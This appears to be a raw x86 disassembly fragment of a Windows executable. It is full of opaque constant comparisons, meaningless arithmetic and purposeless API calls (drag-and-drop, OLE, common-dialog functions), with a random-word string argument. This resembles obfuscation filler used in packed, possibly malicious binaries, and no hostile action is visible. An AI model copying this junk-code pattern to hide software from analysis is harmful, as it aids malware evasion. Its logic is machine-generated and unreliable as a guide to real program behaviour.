mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x1c01]
push ecx
mov edx, dword [ebp - 0x1edc]
movzx eax, word [edx]
push eax
mov dl, byte [ebp - 0x6ad]
mov ecx, dword [ebp - 0x1b0]
mov cl, byte [ecx]
call fcn.00478870
call fcn.004d7e60
mov edx, dword [ebp - 0x610]
mov eax, dword [ebp - 0x12c]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x4c4], eax
movsx ecx, word [ebp - 0x8d4]
mov dword [ebp - 0x224c], ecx
cmp dword [ebp - 0x224c], 0x3d59
je 0x4ef4a9
jmp 0x4ef4b6
mov edx, dword [ebp - 0x1e60]
push edx
call dword [sym.imp.SHELL32.dll_DragFinish]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x7c4]
sub ecx, edx
mov eax, dword [ebp - 0xf08]
mov word [eax], cx
mov ecx, dword [ebp - 0x610]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x4c0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x1108]
and eax, dword [ecx]
cmp edx, eax
jle 0x4ef56d
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x7a4]
add edx, dword [ecx]
mov dword [ebp - 0x1108], edx
movsx eax, word [ebp - 0x8d4]
mov dword [ebp - 0x2250], eax
cmp dword [ebp - 0x2250], 0x1d0a
je 0x4ef52e
cmp dword [ebp - 0x2250], 0x1edc
je 0x4ef555
jmp 0x4ef56b
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x12c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
push 1
mov ecx, dword [ebp - 0xb24]
push ecx
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
jmp 0x4ef56b
mov edx, dword [ebp - 0x9b8]
mov eax, dword [ebp - 0xe24]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x1720], ecx
jmp 0x4ef583
mov edx, dword [ebp - 0x1400]
mov eax, dword [ebp - 0x4c4]
or eax, dword [edx]
mov ecx, dword [ebp - 0x2c8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
mov dword [ebp - 0x2254], eax
cmp dword [ebp - 0x2254], 0x6407fb48
je 0x4ef5ae
cmp dword [ebp - 0x2254], 0xd346ef43
je 0x4ef618
jmp 0x4ef639
mov ecx, dword [ebp - 0x1d08]
shl ecx, 0xc
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
and eax, 0x85934553
mov ecx, dword [ebp - 0x870]
cmp eax, dword [ecx]
jbe 0x4ef5f6
call dword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [ebp - 0x214], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [ebp - 0x214]
add eax, dword [edx]
mov dword [ebp - 0x1d08], eax
jmp 0x4ef616
mov ecx, dword [ebp - 0x1d08]
add ecx, dword [ebp - 0x214]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
mov dword [ebp - 0x214], eax
jmp 0x4ef639
push 0xd8
mov ecx, dword [ebp - 0x1bc]
push ecx
push 0x44
mov edx, dword [ebp - 0xfc]
push edx
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [ebp - 0x1720], eax
jmp 0x4ef6c0
mov eax, dword [ebp - 0x1d08]
shr eax, 0x17
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
mov dword [ebp - 0x2258], eax
cmp dword [ebp - 0x2258], 0x9215a33c
je 0x4ef66d
jmp 0x4ef67f
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
mov ecx, 0xf5
call fcn.004721c0
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
xor eax, 0x7897188f
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1d08]
sub ecx, 0x7d4b97d6
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
lea eax, [ebp - 0xb24]
push eax
lea ecx, [ebp - 0xa3c]
push ecx
call dword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [ebp - 0xf2c], eax
mov edx, dword [ebp - 0x1d08]
add edx, 0x613ba493
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
push 0xa6
lea ecx, [ebp - 0x1df8]
push ecx
call dword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [ebp - 0x168], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, 0x799bb1d9
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
movsx ecx, word [ebp - 0x8d4]
mov dword [ebp - 0x225c], ecx
cmp dword [ebp - 0x225c], 0x3cb9
je 0x4ef794
cmp dword [ebp - 0x225c], 0x4a33
je 0x4ef73c
jmp 0x4ef7a7
lea edx, [ebp - 0x1d08]
push edx
lea eax, [ebp - 0x32c]
push eax
push str.salons_Disorient_malcontent_biting_crazy
lea ecx, [ebp - 0x1df8]
push ecx
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0x7cc], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
or eax, 0x620d753e
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1d08]
shl edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
call fcn.0046d040
jmp 0x4ef7a7
lea ecx, [ebp - 0x1f90]
push ecx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0xb24], eax
mov eax, dword [section..data]
pop esi
mov esp, ebp
pop ebp
ret